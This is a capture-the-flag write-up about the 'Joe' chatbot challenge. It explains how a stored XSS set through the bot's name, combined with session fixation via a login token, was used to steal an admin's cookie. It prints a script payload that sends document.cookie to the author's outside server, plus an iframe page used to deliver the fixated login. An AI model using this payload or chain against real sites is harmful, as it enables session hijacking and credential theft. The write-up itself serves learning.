For the Joe challenge, you got access to a simple page which looked like a chat. Over a text box you were able to talk with Joe, an “intelligent” conversation partner/bot.
Joe had a few functionalities:
The challenge description already told us to steal the admin cookie, so the last functionality (report a bug) was a good guess how we can interact with the admin.
After inspecting the source, I was not able to find any direct vulnerabilities. Sending a message was - on the first sight - not vulnerable to XSS, because the message was inserted as a text element:
var row = document.createElement('p');
row.className = peer;
row.textContent = message;
conversation.appendChild(row);
I played a bit with this and changed the name of Joe to some XSS payload (<img src=x>
). Because of the code above, this payload was not executed. After testing a few other things and refreshing the page, I noticed that this payload was now executed. It was present on the page (like a log):
So we have a persistent xss in our own session. How can this help us?
My next focus was on the /message?msg=foo
endpoint. It was the endpoint called when sending a message. The nice part about this endpoint was the last header of the response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Content-Encoding: gzip
X-Cloud-Trace-Context: 805d41a72f2623ac1728fed38fcac495;o=1
Vary: Accept-Encoding
Date: Mon, 19 Jun 2017 10:45:42 GMT
Server: Google Frontend
Content-Length: 64
Content-Type: `text/html`
The response also did not encode the response, so this looks like a perfect way to execute javascript in the context of a different user, doesn’t it?
So my idea was like this: Report a bug to this endpoint, where msg contains my actual payload to steal the cookie. Sadly this was not possible, because there was a very simple check against CSRF. To submit a message (and get a response), you had to add a CSRF-Protection: 1
header. This is not possible with a XMLHttpRequest
/fetch
, because making a GET request with an additional header results in a “preflight”-request (OPTIONS
), to check for CORS settings. OPTIONS
was not allowed on the server, so this failed. You can read more about this concept here.
So I kept searching for a way to get the admin to join my session. After taking a deeper look at the requests which were made for logging me in, I found this request to fullfill my login:
As can be seen, the /login
endpoint is called and a long token is passed. Maybe this allows to fixate a session?
A session fixation allows to make a “victim” use a session an attacker has control over. Read more here.
So if I can make the admin reuse my session, he will also execute the XSS payload I inserted before as the name (described above). Let’s test it by copying this exact login url from burp and pasting it into a private browser window:
Success! We executed javascript in the context of a different user. So lets recap what steps we need:
I then used a simple payload as Joe’s new name (let me rename you
) to send the cookie as a parameter to my server:
<script>document.write('<img src="http://myserver.com?cookie?' + document.cookie);</script>
This appends the current cookie to an url. The image does not exist, but the browser will try to fetch this image anyway so I can see it in my server access logs. Lets report our bug, so the admin visits our prepared page:
As you can see here, I can’t redirect the admin directly to the /login?toke=...
url because it was too long. To work around this I made a simple html file on my server and included this url in an iframe:
<html>
<body>
<iframe src="https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSUzI1NiIsImtpZCI6ImEyOThhNTZiNmFjMDU0MzEyNTNkNDkwMzA4MTZhNWViZjk5YTEzYzUifQ.eyJhenAiOiIyODQ5NDAzNzA5MjUtY240aWZlZnVrMzNrbjBiODg3cHBwdjVmamI5MWU4cTcuYXBwcy5nb29nbGV1c2VyY29udGVudC5[...]"></iframe>
</body>
</html>
And here we see our “exploit” worked, we got the flag :)